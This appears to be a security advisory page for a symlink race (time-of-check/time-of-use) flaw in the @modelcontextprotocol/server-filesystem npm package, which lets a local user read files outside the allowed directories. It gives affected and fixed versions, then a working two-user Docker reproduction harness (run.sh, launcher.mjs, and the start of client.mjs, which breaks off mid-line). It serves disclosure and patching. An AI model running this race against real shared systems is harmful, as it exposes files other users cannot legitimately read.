@MODELCONTEXTPROTOCOL/SERVER-FILESYSTEM · GHSA-p9cv-8g75-4xcg · Package
FIX → 2.3.0
The @modelcontextprotocol/server-filesystem package checks a path, then opens it by name, so a local user who can rename a directory inside an allowed folder can swap in a symlink and make read_text_file return files outside the allowed directories. The attacker gets the contents of files the server's user can read but the attacker cannot.
first public Nov 11, 2026 · 1 source
Could this affect your app?
Free first check from your website. Connect your repo for the full answer.
Teams that run the filesystem MCP server, especially where a local user other than the server's user can write inside an allowed directory. Exposure needs a local process that can rename directories while the server runs; a server with only trusted users in its allowed directories has less exposure. Setups that do not expose the server to other local users can skip it.
Not affected if no-untrusted-local-users, single-user-machine, version-2.3.0-or-later
Who cares filesystem-server, mcp, node, npm
npm ls @modelcontextprotocol/server-filesystem in each project that runs the server and look for a version below 2.3.0.Upgrade to 2.3.0
In @modelcontextprotocol/server-filesystem 2.1.0, read_text_file validates the requested path and then opens it again by name. A local process that can rename a directory inside an allowed directory can swap that directory for a symlink between the check and the open. When the swap wins, the server returns the contents of a file outside allowedDirectories. In a two-user Linux test, an attacker user who gets EACCES reading the target file directly received its unknown random contents through the server.
@modelcontextprotocol/server-filesystem@2.1.0 (current latest, published 2026-10-28). Tarball SHA-256 65aba6b962efa7fdfdd51d70b48c06e7786c8bbc57292520dec21924836031df.194cc86e3ae6400958555bd4116849d822d69263 (monorepo tag v2.2.0; src/filesystem/package.json is ).Check it with your coding agent
It reads this page and tells you if your code is affected.
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
@modelcontextprotocol/server-filesystem: move to 2.3.0 (the advisory's ranges list 2.3.0 as fixed; later affected-range entries are unclear).2.1.0node:24-alpine container) and macOS (Node 26.10.0) against the published stdio server.read_text_file calls validatePath(args.path, allowedDirectories) and then readFileContent(validPath) (src/filesystem/server.ts:257-274; dist/server.js:190-203).validatePath resolves realpath at that moment and returns a path string (src/filesystem/lib.ts:508-518; dist/lib.js:330-337).readFileContent calls fs.readFile(filePath) (src/filesystem/lib.ts:556-560; dist/lib.js:371-372), which resolves every path component again. A directory symlink introduced after validation is followed.The 2.0.1 fix for GHSA-53mr-w429-c597 anchors writes to the validated directory: write_file, edit_file, create_directory and move_file go through pinned-directory.ts (createFileInDirectory, overwriteFileInDirectory, renameIntoDirectory, ...). The read path was not given that anchor, so the same check-then-use gap remains on reads. The head/tail variants of the same tool (headFile, tailFile) also open by path name.
read_text_file calls naming a path under that directory.The harness runs the published server as UID 1001 and the MCP client plus a racer as UID 1002. A root launcher creates:
allowed/ (owned by the attacker), passed to the server as its only allowed directory, containing allowed/flip/marker.txt with a benign value;outside/ (owned by the server user, mode 0700) containing outside/marker.txt (mode 0600) with a fresh random 24-byte secret.The launcher only creates the fixture and pipes MCP stdio bytes between the two processes. The attacker client is never given the secret; it only knows the CANARY_OUTSIDE_ prefix. The client:
outside/marker.txt fails with EACCES;allowed/flip -> outside is denied, and the inside path returns the benign value;allowed/flip between the real directory and a symlink to outside/, while sending read_text_file for allowed/flip/marker.txt in batches of 100.After the client exits, the launcher compares the SHA-256 of the secret it wrote with the SHA-256 of the content the client received.
Save the three files below in one directory and run sh run.sh (needs Docker).
run.sh
#!/bin/sh
# Runs the two-user reproduction against the published package in a disposable container.
set -eu
HERE=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
NAME="mcp-fs-read-race-$$"
trap 'docker stop -t 1 "$NAME" >/dev/null 2>&1 || true' EXIT
docker run -d --rm --name "$NAME" node:24-alpine sleep 600 >/dev/null
docker exec "$NAME" sh -c 'mkdir -p /labpkg /labharness && cd /labpkg && npm install --no-audit --no-fund @modelcontextprotocol/server-filesystem@2.1.0 >/dev/null'
docker cp "$HERE/launcher.mjs" "$NAME:/labharness/launcher.mjs"
docker cp "$HERE/client.mjs" "$NAME:/labharness/client.mjs"
docker exec "$NAME" chmod -R a+rX /labpkg /labharness
SERVER=/labpkg/node_modules/@modelcontextprotocol/server-filesystem/dist/index.js
printf '=== No-racer control ===\n'
docker exec -e NO_RACER=1 -e MAX_CALLS=500 "$NAME" node /labharness/launcher.mjs "$SERVER"
printf '=== Two-user race ===\n'
docker exec -e NO_RACER=0 -e MAX_CALLS=20000 "$NAME" node /labharness/launcher.mjs "$SERVER"
launcher.mjs
import fs from 'node:fs/promises';
import os from 'node:os';
import path from 'node:path';
import { spawn } from 'node:child_process';
import { fileURLToPath } from 'node:url';
import { createHash, randomBytes } from 'node:crypto';
// Run as root only inside a disposable local container. The server is UID 1001;
// the MCP client and racer are UID 1002. All data is created under /tmp.
const victimUid = 1001;
const attackerUid = 1002;
const here = path.dirname(fileURLToPath(import.meta.url));
const root = await fs.mkdtemp(path.join(os.tmpdir(), 'mcp-two-uid-'));
const allowed = path.join(root, 'allowed');
const outside = path.join(root, 'outside');
const flip = path.join(allowed, 'flip');
const secret = 'CANARY_OUTSIDE_' + randomBytes(24).toString('hex');
await fs.mkdir(flip, { recursive: true });
await fs.mkdir(outside);
await fs.writeFile(path.join(flip, 'marker.txt'), 'BENIGN_INSIDE_TWO_UID');
await fs.writeFile(path.join(outside, 'marker.txt'), secret, { mode: 0o600 });
await fs.chmod(root, 0o755);
await fs.chown(allowed, attackerUid, attackerUid);
await fs.chmod(allowed, 0o755);
await fs.chown(flip, attackerUid, attackerUid);
await fs.chmod(flip, 0o755);
await fs.chown(path.join(flip, 'marker.txt'), attackerUid, attackerUid);
await fs.chown(outside, victimUid, victimUid);
await fs.chmod(outside, 0o700);
await fs.chown(path.join(outside, 'marker.txt'), victimUid, victimUid);
await fs.chmod(path.join(outside, 'marker.txt'), 0o600);
const pkg = process.argv[2];
if (!pkg) throw new Error('pass absolute path to published dist/index.js');
const server = spawn(process.execPath, [pkg, allowed], {
uid: victimUid,
gid: victimUid,
stdio: ['pipe', 'pipe', 'pipe'],
});
const client = spawn(process.execPath, [path.join(here, 'client.mjs'), allowed, outside], {
uid: attackerUid,
gid: attackerUid,
stdio: ['pipe', 'pipe', 'pipe'],
env: { ...process.env, MAX_CALLS: process.env.MAX_CALLS ?? '20000', NO_RACER: process.env.NO_RACER ?? '0' },
});
client.stdout.pipe(server.stdin);
server.stdout.pipe(client.stdin);
server.stderr.on('data', c => process.stderr.write('[server] ' + c));
let clientLog = '';
client.stderr.on('data', c => {
clientLog += c.toString();
process.stderr.write('[attacker-client] ' + c);
});
const code = await new Promise(resolve => client.on('exit', resolve));
server.kill('SIGTERM');
const raceLine = clientLog.split('\n').find(line => line.startsWith('{"race":'));
let reported;
try { reported = JSON.parse(raceLine); } catch { reported = null; }
const captured = reported?.race?.first?.result?.content?.[0]?.text;
const digest = value => value === undefined ? null : createHash('sha256').update(value).digest('hex');
const noRacer = process.env.NO_RACER === '1';
const match = captured === secret;
console.log(JSON.stringify({
root, serverUid: victimUid, attackerUid, clientExit: code,
secretSha256: digest(secret), capturedSha256: digest(captured),
match, expectedMatch: !noRacer,
}));
process.exitCode = (code === 0 && match === !noRacer) ? 0 : 1;
client.mjs
import fs from 'node:fs/promises';
import path from 'node:path';
import { spawn } from 'node:child_process';
const [allowed, outside] = process